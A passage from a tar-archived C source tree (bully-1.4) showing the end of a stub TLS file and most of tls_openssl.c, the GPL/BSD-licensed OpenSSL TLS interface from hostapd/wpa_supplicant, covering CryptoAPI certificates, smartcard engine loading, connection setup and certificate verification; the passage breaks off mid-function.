tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { return -1; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { return -1; } bully-1.4-00/src/crypto/tls_openssl.c000077500000000000000000002162241361530463600175630ustar00rootroot00000000000000/* * SSL/TLS interface functions for OpenSSL * Copyright (c) 2004-2010, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #ifndef CONFIG_SMARTCARD #ifndef OPENSSL_NO_ENGINE #define OPENSSL_NO_ENGINE #endif #endif #include #include #include #include #ifndef OPENSSL_NO_ENGINE #include #endif /* OPENSSL_NO_ENGINE */ #include "common.h" #include "crypto.h" #include "tls.h" #if OPENSSL_VERSION_NUMBER >= 0x0090800fL #define OPENSSL_d2i_TYPE const unsigned char ** #else #define OPENSSL_d2i_TYPE unsigned char ** #endif #ifdef SSL_F_SSL_SET_SESSION_TICKET_EXT #ifdef SSL_OP_NO_TICKET /* * Session ticket override patch was merged into OpenSSL 0.9.9 tree on * 2008-11-15. This version uses a bit different API compared to the old patch. */ #define CONFIG_OPENSSL_TICKET_OVERRIDE #endif #endif static int tls_openssl_ref_count = 0; struct tls_global { void (*event_cb)(void *ctx, enum tls_event ev, union tls_event_data *data); void *cb_ctx; }; static struct tls_global *tls_global = NULL; struct tls_connection { SSL *ssl; BIO *ssl_in, *ssl_out; #ifndef OPENSSL_NO_ENGINE ENGINE *engine; /* functional reference to the engine */ EVP_PKEY *private_key; /* the private key if using engine */ #endif /* OPENSSL_NO_ENGINE */ char *subject_match, *altsubject_match; int read_alerts, write_alerts, failed; tls_session_ticket_cb session_ticket_cb; void *session_ticket_cb_ctx; /* SessionTicket received from OpenSSL hello_extension_cb (server) */ u8 *session_ticket; size_t session_ticket_len; unsigned int ca_cert_verify:1; unsigned int cert_probe:1; unsigned int server_cert_only:1; u8 srv_cert_hash[32]; }; #ifdef CONFIG_NO_STDOUT_DEBUG static void _tls_show_errors(void) { unsigned long err; while ((err = ERR_get_error())) { /* Just ignore the errors, since stdout is disabled */ } } #define tls_show_errors(l, f, t) _tls_show_errors() #else /* CONFIG_NO_STDOUT_DEBUG */ static void tls_show_errors(int level, const char *func, const char *txt) { unsigned long err; wpa_printf(level, "OpenSSL: %s - %s %s", func, txt, ERR_error_string(ERR_get_error(), NULL)); while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "OpenSSL: pending error: %s", ERR_error_string(err, NULL)); } } #endif /* CONFIG_NO_STDOUT_DEBUG */ #ifdef CONFIG_NATIVE_WINDOWS /* Windows CryptoAPI and access to certificate stores */ #include #ifdef __MINGW32_VERSION /* * MinGW does not yet include all the needed definitions for CryptoAPI, so * define here whatever extra is needed. */ #define CERT_SYSTEM_STORE_CURRENT_USER (1 << 16) #define CERT_STORE_READONLY_FLAG 0x00008000 #define CERT_STORE_OPEN_EXISTING_FLAG 0x00004000 #endif /* __MINGW32_VERSION */ struct cryptoapi_rsa_data { const CERT_CONTEXT *cert; HCRYPTPROV crypt_prov; DWORD key_spec; BOOL free_crypt_prov; }; static void cryptoapi_error(const char *msg) { wpa_printf(MSG_INFO, "CryptoAPI: %s; err=%u", msg, (unsigned int) GetLastError()); } static int cryptoapi_rsa_pub_enc(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); return 0; } static int cryptoapi_rsa_pub_dec(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); return 0; } static int cryptoapi_rsa_priv_enc(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { struct cryptoapi_rsa_data *priv = (struct cryptoapi_rsa_data *) rsa->meth->app_data; HCRYPTHASH hash; DWORD hash_size, len, i; unsigned char *buf = NULL; int ret = 0; if (priv == NULL) { RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, ERR_R_PASSED_NULL_PARAMETER); return 0; } if (padding != RSA_PKCS1_PADDING) { RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, RSA_R_UNKNOWN_PADDING_TYPE); return 0; } if (flen != 16 /* MD5 */ + 20 /* SHA-1 */) { wpa_printf(MSG_INFO, "%s - only MD5-SHA1 hash supported", __func__); RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, RSA_R_INVALID_MESSAGE_LENGTH); return 0; } if (!CryptCreateHash(priv->crypt_prov, CALG_SSL3_SHAMD5, 0, 0, &hash)) { cryptoapi_error("CryptCreateHash failed"); return 0; } len = sizeof(hash_size); if (!CryptGetHashParam(hash, HP_HASHSIZE, (BYTE *) &hash_size, &len, 0)) { cryptoapi_error("CryptGetHashParam failed"); goto err; } if ((int) hash_size != flen) { wpa_printf(MSG_INFO, "CryptoAPI: Invalid hash size (%u != %d)", (unsigned) hash_size, flen); RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, RSA_R_INVALID_MESSAGE_LENGTH); goto err; } if (!CryptSetHashParam(hash, HP_HASHVAL, (BYTE * ) from, 0)) { cryptoapi_error("CryptSetHashParam failed"); goto err; } len = RSA_size(rsa); buf = os_malloc(len); if (buf == NULL) { RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, ERR_R_MALLOC_FAILURE); goto err; } if (!CryptSignHash(hash, priv->key_spec, NULL, 0, buf, &len)) { cryptoapi_error("CryptSignHash failed"); goto err; } for (i = 0; i < len; i++) to[i] = buf[len - i - 1]; ret = len; err: os_free(buf); CryptDestroyHash(hash); return ret; } static int cryptoapi_rsa_priv_dec(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); return 0; } static void cryptoapi_free_data(struct cryptoapi_rsa_data *priv) { if (priv == NULL) return; if (priv->crypt_prov && priv->free_crypt_prov) CryptReleaseContext(priv->crypt_prov, 0); if (priv->cert) CertFreeCertificateContext(priv->cert); os_free(priv); } static int cryptoapi_finish(RSA *rsa) { cryptoapi_free_data((struct cryptoapi_rsa_data *) rsa->meth->app_data); os_free((void *) rsa->meth); rsa->meth = NULL; return 1; } static const CERT_CONTEXT * cryptoapi_find_cert(const char *name, DWORD store) { HCERTSTORE cs; const CERT_CONTEXT *ret = NULL; cs = CertOpenStore((LPCSTR) CERT_STORE_PROV_SYSTEM, 0, 0, store | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"MY"); if (cs == NULL) { cryptoapi_error("Failed to open 'My system store'"); return NULL; } if (strncmp(name, "cert://", 7) == 0) { unsigned short wbuf[255]; MultiByteToWideChar(CP_ACP, 0, name + 7, -1, wbuf, 255); ret = CertFindCertificateInStore(cs, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, wbuf, NULL); } else if (strncmp(name, "hash://", 7) == 0) { CRYPT_HASH_BLOB blob; int len; const char *hash = name + 7; unsigned char *buf; len = os_strlen(hash) / 2; buf = os_malloc(len); if (buf && hexstr2bin(hash, buf, len) == 0) { blob.cbData = len; blob.pbData = buf; ret = CertFindCertificateInStore(cs, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_HASH, &blob, NULL); } os_free(buf); } CertCloseStore(cs, 0); return ret; } static int tls_cryptoapi_cert(SSL *ssl, const char *name) { X509 *cert = NULL; RSA *rsa = NULL, *pub_rsa; struct cryptoapi_rsa_data *priv; RSA_METHOD *rsa_meth; if (name == NULL || (strncmp(name, "cert://", 7) != 0 && strncmp(name, "hash://", 7) != 0)) return -1; priv = os_zalloc(sizeof(*priv)); rsa_meth = os_zalloc(sizeof(*rsa_meth)); if (priv == NULL || rsa_meth == NULL) { wpa_printf(MSG_WARNING, "CryptoAPI: Failed to allocate memory " "for CryptoAPI RSA method"); os_free(priv); os_free(rsa_meth); return -1; } priv->cert = cryptoapi_find_cert(name, CERT_SYSTEM_STORE_CURRENT_USER); if (priv->cert == NULL) { priv->cert = cryptoapi_find_cert( name, CERT_SYSTEM_STORE_LOCAL_MACHINE); } if (priv->cert == NULL) { wpa_printf(MSG_INFO, "CryptoAPI: Could not find certificate " "'%s'", name); goto err; } cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &priv->cert->pbCertEncoded, priv->cert->cbCertEncoded); if (cert == NULL) { wpa_printf(MSG_INFO, "CryptoAPI: Could not process X509 DER " "encoding"); goto err; } if (!CryptAcquireCertificatePrivateKey(priv->cert, CRYPT_ACQUIRE_COMPARE_KEY_FLAG, NULL, &priv->crypt_prov, &priv->key_spec, &priv->free_crypt_prov)) { cryptoapi_error("Failed to acquire a private key for the " "certificate"); goto err; } rsa_meth->name = "Microsoft CryptoAPI RSA Method"; rsa_meth->rsa_pub_enc = cryptoapi_rsa_pub_enc; rsa_meth->rsa_pub_dec = cryptoapi_rsa_pub_dec; rsa_meth->rsa_priv_enc = cryptoapi_rsa_priv_enc; rsa_meth->rsa_priv_dec = cryptoapi_rsa_priv_dec; rsa_meth->finish = cryptoapi_finish; rsa_meth->flags = RSA_METHOD_FLAG_NO_CHECK; rsa_meth->app_data = (char *) priv; rsa = RSA_new(); if (rsa == NULL) { SSLerr(SSL_F_SSL_CTX_USE_CERTIFICATE_FILE, ERR_R_MALLOC_FAILURE); goto err; } if (!SSL_use_certificate(ssl, cert)) { RSA_free(rsa); rsa = NULL; goto err; } pub_rsa = cert->cert_info->key->pkey->pkey.rsa; X509_free(cert); cert = NULL; rsa->n = BN_dup(pub_rsa->n); rsa->e = BN_dup(pub_rsa->e); if (!RSA_set_method(rsa, rsa_meth)) goto err; if (!SSL_use_RSAPrivateKey(ssl, rsa)) goto err; RSA_free(rsa); return 0; err: if (cert) X509_free(cert); if (rsa) RSA_free(rsa); else { os_free(rsa_meth); cryptoapi_free_data(priv); } return -1; } static int tls_cryptoapi_ca_cert(SSL_CTX *ssl_ctx, SSL *ssl, const char *name) { HCERTSTORE cs; PCCERT_CONTEXT ctx = NULL; X509 *cert; char buf[128]; const char *store; #ifdef UNICODE WCHAR *wstore; #endif /* UNICODE */ if (name == NULL || strncmp(name, "cert_store://", 13) != 0) return -1; store = name + 13; #ifdef UNICODE wstore = os_malloc((os_strlen(store) + 1) * sizeof(WCHAR)); if (wstore == NULL) return -1; wsprintf(wstore, L"%S", store); cs = CertOpenSystemStore(0, wstore); os_free(wstore); #else /* UNICODE */ cs = CertOpenSystemStore(0, store); #endif /* UNICODE */ if (cs == NULL) { wpa_printf(MSG_DEBUG, "%s: failed to open system cert store " "'%s': error=%d", __func__, store, (int) GetLastError()); return -1; } while ((ctx = CertEnumCertificatesInStore(cs, ctx))) { cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &ctx->pbCertEncoded, ctx->cbCertEncoded); if (cert == NULL) { wpa_printf(MSG_INFO, "CryptoAPI: Could not process " "X509 DER encoding for CA cert"); continue; } X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "OpenSSL: Loaded CA certificate for " "system certificate store: subject='%s'", buf); if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { tls_show_errors(MSG_WARNING, __func__, "Failed to add ca_cert to OpenSSL " "certificate store"); } X509_free(cert); } if (!CertCloseStore(cs, 0)) { wpa_printf(MSG_DEBUG, "%s: failed to close system cert store " "'%s': error=%d", __func__, name + 13, (int) GetLastError()); } return 0; } #else /* CONFIG_NATIVE_WINDOWS */ static int tls_cryptoapi_cert(SSL *ssl, const char *name) { return -1; } #endif /* CONFIG_NATIVE_WINDOWS */ static void ssl_info_cb(const SSL *ssl, int where, int ret) { const char *str; int w; wpa_printf(MSG_DEBUG, "SSL: (where=0x%x ret=0x%x)", where, ret); w = where & ~SSL_ST_MASK; if (w & SSL_ST_CONNECT) str = "SSL_connect"; else if (w & SSL_ST_ACCEPT) str = "SSL_accept"; else str = "undefined"; if (where & SSL_CB_LOOP) { wpa_printf(MSG_DEBUG, "SSL: %s:%s", str, SSL_state_string_long(ssl)); } else if (where & SSL_CB_ALERT) { wpa_printf(MSG_INFO, "SSL: SSL3 alert: %s:%s:%s", where & SSL_CB_READ ? "read (remote end reported an error)" : "write (local SSL3 detected an error)", SSL_alert_type_string_long(ret), SSL_alert_desc_string_long(ret)); if ((ret >> 8) == SSL3_AL_FATAL) { struct tls_connection *conn = SSL_get_app_data((SSL *) ssl); if (where & SSL_CB_READ) conn->read_alerts++; else conn->write_alerts++; } } else if (where & SSL_CB_EXIT && ret <= 0) { wpa_printf(MSG_DEBUG, "SSL: %s:%s in %s", str, ret == 0 ? "failed" : "error", SSL_state_string_long(ssl)); } } #ifndef OPENSSL_NO_ENGINE /** * tls_engine_load_dynamic_generic - load any openssl engine * @pre: an array of commands and values that load an engine initialized * in the engine specific function * @post: an array of commands and values that initialize an already loaded * engine (or %NULL if not required) * @id: the engine id of the engine to load (only required if post is not %NULL * * This function is a generic function that loads any openssl engine. * * Returns: 0 on success, -1 on failure */ static int tls_engine_load_dynamic_generic(const char *pre[], const char *post[], const char *id) { ENGINE *engine; const char *dynamic_id = "dynamic"; engine = ENGINE_by_id(id); if (engine) { ENGINE_free(engine); wpa_printf(MSG_DEBUG, "ENGINE: engine '%s' is already " "available", id); return 0; } ERR_clear_error(); engine = ENGINE_by_id(dynamic_id); if (engine == NULL) { wpa_printf(MSG_INFO, "ENGINE: Can't find engine %s [%s]", dynamic_id, ERR_error_string(ERR_get_error(), NULL)); return -1; } /* Perform the pre commands. This will load the engine. */ while (pre && pre[0]) { wpa_printf(MSG_DEBUG, "ENGINE: '%s' '%s'", pre[0], pre[1]); if (ENGINE_ctrl_cmd_string(engine, pre[0], pre[1], 0) == 0) { wpa_printf(MSG_INFO, "ENGINE: ctrl cmd_string failed: " "%s %s [%s]", pre[0], pre[1], ERR_error_string(ERR_get_error(), NULL)); ENGINE_free(engine); return -1; } pre += 2; } /* * Free the reference to the "dynamic" engine. The loaded engine can * now be looked up using ENGINE_by_id(). */ ENGINE_free(engine); engine = ENGINE_by_id(id); if (engine == NULL) { wpa_printf(MSG_INFO, "ENGINE: Can't find engine %s [%s]", id, ERR_error_string(ERR_get_error(), NULL)); return -1; } while (post && post[0]) { wpa_printf(MSG_DEBUG, "ENGINE: '%s' '%s'", post[0], post[1]); if (ENGINE_ctrl_cmd_string(engine, post[0], post[1], 0) == 0) { wpa_printf(MSG_DEBUG, "ENGINE: ctrl cmd_string failed:" " %s %s [%s]", post[0], post[1], ERR_error_string(ERR_get_error(), NULL)); ENGINE_remove(engine); ENGINE_free(engine); return -1; } post += 2; } ENGINE_free(engine); return 0; } /** * tls_engine_load_dynamic_pkcs11 - load the pkcs11 engine provided by opensc * @pkcs11_so_path: pksc11_so_path from the configuration * @pcks11_module_path: pkcs11_module_path from the configuration */ static int tls_engine_load_dynamic_pkcs11(const char *pkcs11_so_path, const char *pkcs11_module_path) { char *engine_id = "pkcs11"; const char *pre_cmd[] = { "SO_PATH", NULL /* pkcs11_so_path */, "ID", NULL /* engine_id */, "LIST_ADD", "1", /* "NO_VCHECK", "1", */ "LOAD", NULL, NULL, NULL }; const char *post_cmd[] = { "MODULE_PATH", NULL /* pkcs11_module_path */, NULL, NULL }; if (!pkcs11_so_path || !pkcs11_module_path) return 0; pre_cmd[1] = pkcs11_so_path; pre_cmd[3] = engine_id; post_cmd[1] = pkcs11_module_path; wpa_printf(MSG_DEBUG, "ENGINE: Loading pkcs11 Engine from %s", pkcs11_so_path); return tls_engine_load_dynamic_generic(pre_cmd, post_cmd, engine_id); } /** * tls_engine_load_dynamic_opensc - load the opensc engine provided by opensc * @opensc_so_path: opensc_so_path from the configuration */ static int tls_engine_load_dynamic_opensc(const char *opensc_so_path) { char *engine_id = "opensc"; const char *pre_cmd[] = { "SO_PATH", NULL /* opensc_so_path */, "ID", NULL /* engine_id */, "LIST_ADD", "1", "LOAD", NULL, NULL, NULL }; if (!opensc_so_path) return 0; pre_cmd[1] = opensc_so_path; pre_cmd[3] = engine_id; wpa_printf(MSG_DEBUG, "ENGINE: Loading OpenSC Engine from %s", opensc_so_path); return tls_engine_load_dynamic_generic(pre_cmd, NULL, engine_id); } #endif /* OPENSSL_NO_ENGINE */ void * tls_init(const struct tls_config *conf) { SSL_CTX *ssl; if (tls_openssl_ref_count == 0) { tls_global = os_zalloc(sizeof(*tls_global)); if (tls_global == NULL) return NULL; if (conf) { tls_global->event_cb = conf->event_cb; tls_global->cb_ctx = conf->cb_ctx; } #ifdef CONFIG_FIPS #ifdef OPENSSL_FIPS if (conf && conf->fips_mode) { if (!FIPS_mode_set(1)) { wpa_printf(MSG_ERROR, "Failed to enable FIPS " "mode"); ERR_load_crypto_strings(); ERR_print_errors_fp(stderr); return NULL; } else wpa_printf(MSG_INFO, "Running in FIPS mode"); } #else /* OPENSSL_FIPS */ if (conf && conf->fips_mode) { wpa_printf(MSG_ERROR, "FIPS mode requested, but not " "supported"); return NULL; } #endif /* OPENSSL_FIPS */ #endif /* CONFIG_FIPS */ SSL_load_error_strings(); SSL_library_init(); #ifndef OPENSSL_NO_SHA256 EVP_add_digest(EVP_sha256()); #endif /* OPENSSL_NO_SHA256 */ /* TODO: if /dev/urandom is available, PRNG is seeded * automatically. If this is not the case, random data should * be added here. */ #ifdef PKCS12_FUNCS #ifndef OPENSSL_NO_RC2 /* * 40-bit RC2 is commonly used in PKCS#12 files, so enable it. * This is enabled by PKCS12_PBE_add() in OpenSSL 0.9.8 * versions, but it looks like OpenSSL 1.0.0 does not do that * anymore. */ EVP_add_cipher(EVP_rc2_40_cbc()); #endif /* OPENSSL_NO_RC2 */ PKCS12_PBE_add(); #endif /* PKCS12_FUNCS */ } tls_openssl_ref_count++; ssl = SSL_CTX_new(TLSv1_method()); if (ssl == NULL) return NULL; SSL_CTX_set_info_callback(ssl, ssl_info_cb); #ifndef OPENSSL_NO_ENGINE if (conf && (conf->opensc_engine_path || conf->pkcs11_engine_path || conf->pkcs11_module_path)) { wpa_printf(MSG_DEBUG, "ENGINE: Loading dynamic engine"); ERR_load_ENGINE_strings(); ENGINE_load_dynamic(); if (tls_engine_load_dynamic_opensc(conf->opensc_engine_path) || tls_engine_load_dynamic_pkcs11(conf->pkcs11_engine_path, conf->pkcs11_module_path)) { tls_deinit(ssl); return NULL; } } #endif /* OPENSSL_NO_ENGINE */ return ssl; } void tls_deinit(void *ssl_ctx) { SSL_CTX *ssl = ssl_ctx; SSL_CTX_free(ssl); tls_openssl_ref_count--; if (tls_openssl_ref_count == 0) { #ifndef OPENSSL_NO_ENGINE ENGINE_cleanup(); #endif /* OPENSSL_NO_ENGINE */ CRYPTO_cleanup_all_ex_data(); ERR_remove_state(0); ERR_free_strings(); EVP_cleanup(); os_free(tls_global); tls_global = NULL; } } static int tls_engine_init(struct tls_connection *conn, const char *engine_id, const char *pin, const char *key_id, const char *cert_id, const char *ca_cert_id) { #ifndef OPENSSL_NO_ENGINE int ret = -1; if (engine_id == NULL) { wpa_printf(MSG_ERROR, "ENGINE: Engine ID not set"); return -1; } if (pin == NULL) { wpa_printf(MSG_ERROR, "ENGINE: Smartcard PIN not set"); return -1; } if (key_id == NULL) { wpa_printf(MSG_ERROR, "ENGINE: Key Id not set"); return -1; } ERR_clear_error(); conn->engine = ENGINE_by_id(engine_id); if (!conn->engine) { wpa_printf(MSG_ERROR, "ENGINE: engine %s not available [%s]", engine_id, ERR_error_string(ERR_get_error(), NULL)); goto err; } if (ENGINE_init(conn->engine) != 1) { wpa_printf(MSG_ERROR, "ENGINE: engine init failed " "(engine: %s) [%s]", engine_id, ERR_error_string(ERR_get_error(), NULL)); goto err; } wpa_printf(MSG_DEBUG, "ENGINE: engine initialized"); if (ENGINE_ctrl_cmd_string(conn->engine, "PIN", pin, 0) == 0) { wpa_printf(MSG_ERROR, "ENGINE: cannot set pin [%s]", ERR_error_string(ERR_get_error(), NULL)); goto err; } /* load private key first in-case PIN is required for cert */ conn->private_key = ENGINE_load_private_key(conn->engine, key_id, NULL, NULL); if (!conn->private_key) { wpa_printf(MSG_ERROR, "ENGINE: cannot load private key with id" " '%s' [%s]", key_id, ERR_error_string(ERR_get_error(), NULL)); ret = TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; goto err; } /* handle a certificate and/or CA certificate */ if (cert_id || ca_cert_id) { const char *cmd_name = "LOAD_CERT_CTRL"; /* test if the engine supports a LOAD_CERT_CTRL */ if (!ENGINE_ctrl(conn->engine, ENGINE_CTRL_GET_CMD_FROM_NAME, 0, (void *)cmd_name, NULL)) { wpa_printf(MSG_ERROR, "ENGINE: engine does not support" " loading certificates"); ret = TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; goto err; } } return 0; err: if (conn->engine) { ENGINE_free(conn->engine); conn->engine = NULL; } if (conn->private_key) { EVP_PKEY_free(conn->private_key); conn->private_key = NULL; } return ret; #else /* OPENSSL_NO_ENGINE */ return 0; #endif /* OPENSSL_NO_ENGINE */ } static void tls_engine_deinit(struct tls_connection *conn) { #ifndef OPENSSL_NO_ENGINE wpa_printf(MSG_DEBUG, "ENGINE: engine deinit"); if (conn->private_key) { EVP_PKEY_free(conn->private_key); conn->private_key = NULL; } if (conn->engine) { ENGINE_finish(conn->engine); conn->engine = NULL; } #endif /* OPENSSL_NO_ENGINE */ } int tls_get_errors(void *ssl_ctx) { int count = 0; unsigned long err; while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "TLS - SSL error: %s", ERR_error_string(err, NULL)); count++; } return count; } struct tls_connection * tls_connection_init(void *ssl_ctx) { SSL_CTX *ssl = ssl_ctx; struct tls_connection *conn; long options; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->ssl = SSL_new(ssl); if (conn->ssl == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to initialize new SSL connection"); os_free(conn); return NULL; } SSL_set_app_data(conn->ssl, conn); options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP_SINGLE_DH_USE; #ifdef SSL_OP_NO_COMPRESSION options |= SSL_OP_NO_COMPRESSION; #endif /* SSL_OP_NO_COMPRESSION */ SSL_set_options(conn->ssl, options); conn->ssl_in = BIO_new(BIO_s_mem()); if (!conn->ssl_in) { tls_show_errors(MSG_INFO, __func__, "Failed to create a new BIO for ssl_in"); SSL_free(conn->ssl); os_free(conn); return NULL; } conn->ssl_out = BIO_new(BIO_s_mem()); if (!conn->ssl_out) { tls_show_errors(MSG_INFO, __func__, "Failed to create a new BIO for ssl_out"); SSL_free(conn->ssl); BIO_free(conn->ssl_in); os_free(conn); return NULL; } SSL_set_bio(conn->ssl, conn->ssl_in, conn->ssl_out); return conn; } void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return; SSL_free(conn->ssl); tls_engine_deinit(conn); os_free(conn->subject_match); os_free(conn->altsubject_match); os_free(conn->session_ticket); os_free(conn); } int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) { return conn ? SSL_is_init_finished(conn->ssl) : 0; } int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; /* Shutdown previous TLS connection without notifying the peer * because the connection was already terminated in practice * and "close notify" shutdown alert would confuse AS. */ SSL_set_quiet_shutdown(conn->ssl, 1); SSL_shutdown(conn->ssl); return 0; } static int tls_match_altsubject_component(X509 *cert, int type, const char *value, size_t len) { GENERAL_NAME *gen; void *ext; int i, found = 0; ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) { gen = sk_GENERAL_NAME_value(ext, i); if (gen->type != type) continue; if (os_strlen((char *) gen->d.ia5->data) == len && os_memcmp(value, gen->d.ia5->data, len) == 0) found++; } return found; } static int tls_match_altsubject(X509 *cert, const char *match) { int type; const char *pos, *end; size_t len; pos = match; do { if (os_strncmp(pos, "EMAIL:", 6) == 0) { type = GEN_EMAIL; pos += 6; } else if (os_strncmp(pos, "DNS:", 4) == 0) { type = GEN_DNS; pos += 4; } else if (os_strncmp(pos, "URI:", 4) == 0) { type = GEN_URI; pos += 4; } else { wpa_printf(MSG_INFO, "TLS: Invalid altSubjectName " "match '%s'", pos); return 0; } end = os_strchr(pos, ';'); while (end) { if (os_strncmp(end + 1, "EMAIL:", 6) == 0 || os_strncmp(end + 1, "DNS:", 4) == 0 || os_strncmp(end + 1, "URI:", 4) == 0) break; end = os_strchr(end + 1, ';'); } if (end) len = end - pos; else len = os_strlen(pos); if (tls_match_altsubject_component(cert, type, pos, len) > 0) return 1; pos = end + 1; } while (end); return 0; } static enum tls_fail_reason openssl_tls_fail_reason(int err) { switch (err) { case X509_V_ERR_CERT_REVOKED: return TLS_FAIL_REVOKED; case X509_V_ERR_CERT_NOT_YET_VALID: case X509_V_ERR_CRL_NOT_YET_VALID: return TLS_FAIL_NOT_YET_VALID; case X509_V_ERR_CERT_HAS_EXPIRED: case X509_V_ERR_CRL_HAS_EXPIRED: return TLS_FAIL_EXPIRED; case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT: case X509_V_ERR_UNABLE_TO_GET_CRL: case X509_V_ERR_UNABLE_TO_GET_CRL_ISSUER: case X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN: case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY: case X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT: case X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE: case X509_V_ERR_CERT_CHAIN_TOO_LONG: case X509_V_ERR_PATH_LENGTH_EXCEEDED: case X509_V_ERR_INVALID_CA: return TLS_FAIL_UNTRUSTED; case X509_V_ERR_UNABLE_TO_DECRYPT_CERT_SIGNATURE: case X509_V_ERR_UNABLE_TO_DECRYPT_CRL_SIGNATURE: case X509_V_ERR_UNABLE_TO_DECODE_ISSUER_PUBLIC_KEY: case X509_V_ERR_ERROR_IN_CERT_NOT_BEFORE_FIELD: case X509_V_ERR_ERROR_IN_CERT_NOT_AFTER_FIELD: case X509_V_ERR_ERROR_IN_CRL_LAST_UPDATE_FIELD: case X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD: case X509_V_ERR_CERT_UNTRUSTED: case X509_V_ERR_CERT_REJECTED: return TLS_FAIL_BAD_CERTIFICATE; default: return TLS_FAIL_UNSPECIFIED; } } static struct wpabuf * get_x509_cert(X509 *cert) { struct wpabuf *buf; u8 *tmp; int cert_len = i2d_X509(cert, NULL); if (cert_len <= 0) return NULL; buf = wpabuf_alloc(cert_len); if (buf == NULL) return NULL; tmp = wpabuf_put(buf, cert_len); i2d_X509(cert, &tmp); return buf; } static void openssl_tls_fail_event(struct tls_connection *conn, X509 *err_cert, int err, int depth, const char *subject, const char *err_str, enum tls_fail_reason reason) { union tls_event_data ev; struct wpabuf *cert = NULL; if (tls_global->event_cb == NULL) return; cert = get_x509_cert(err_cert); os_memset(&ev, 0, sizeof(ev)); ev.cert_fail.reason = reason != TLS_FAIL_UNSPECIFIED ? reason : openssl_tls_fail_reason(err); ev.cert_fail.depth = depth; ev.cert_fail.subject = subject; ev.cert_fail.reason_txt = err_str; ev.cert_fail.cert = cert; tls_global->event_cb(tls_global->cb_ctx, TLS_CERT_CHAIN_FAILURE, &ev); wpabuf_free(cert); } static void openssl_tls_cert_event(struct tls_connection *conn, X509 *err_cert, int depth, const char *subject) { struct wpabuf *cert = NULL; union tls_event_data ev; #ifdef CONFIG_SHA256 u8 hash[32]; #endif /* CONFIG_SHA256 */ if (tls_global->event_cb == NULL) return; os_memset(&ev, 0, sizeof(ev)); if (conn->cert_probe) { cert = get_x509_cert(err_cert); ev.peer_cert.cert = cert; } #ifdef CONFIG_SHA256 if (cert) { const u8 *addr[1]; size_t len[1]; addr[0] = wpabuf_head(cert); len[0] = wpabuf_len(cert); if (sha256_vector(1, addr, len, hash) == 0) { ev.peer_cert.hash = hash; ev.peer_cert.hash_len = sizeof(hash); } } #endif /* CONFIG_SHA256 */ ev.peer_cert.depth = depth; ev.peer_cert.subject = subject; tls_global->event_cb(tls_global->cb_ctx, TLS_PEER_CERTIFICATE, &ev); wpabuf_free(cert); } static int tls_verify_cb(int preverify_ok, X509_STORE_CTX *x509_ctx) { char buf[256]; X509 *err_cert; int err, depth; SSL *ssl; struct tls_connection *conn; char *match, *altmatch; const char *err_str; err_cert = X509_STORE_CTX_get_current_cert(x509_ctx); err = X509_STORE_CTX_get_error(x509_ctx); depth = X509_STORE_CTX_get_error_depth(x509_ctx); ssl = X509_STORE_CTX_get_ex_data(x509_ctx, SSL_get_ex_data_X509_STORE_CTX_idx()); X509_NAME_oneline(X509_get_subject_name(err_cert), buf, sizeof(buf)); conn = SSL_get_app_data(ssl); match = conn ? conn->subject_match : NULL; altmatch = conn ? conn->altsubject_match : NULL; if (!preverify_ok && !conn->ca_cert_verify) preverify_ok = 1; if (!preverify_ok && depth > 0 && conn->server_cert_only) preverify_ok = 1; err_str = X509_verify_cert_error_string(err); #ifdef CONFIG_SHA256 if (preverify_ok && depth == 0 && conn->server_cert_only) { struct wpabuf *cert; cert = get_x509_cert(err_cert); if (!cert) { 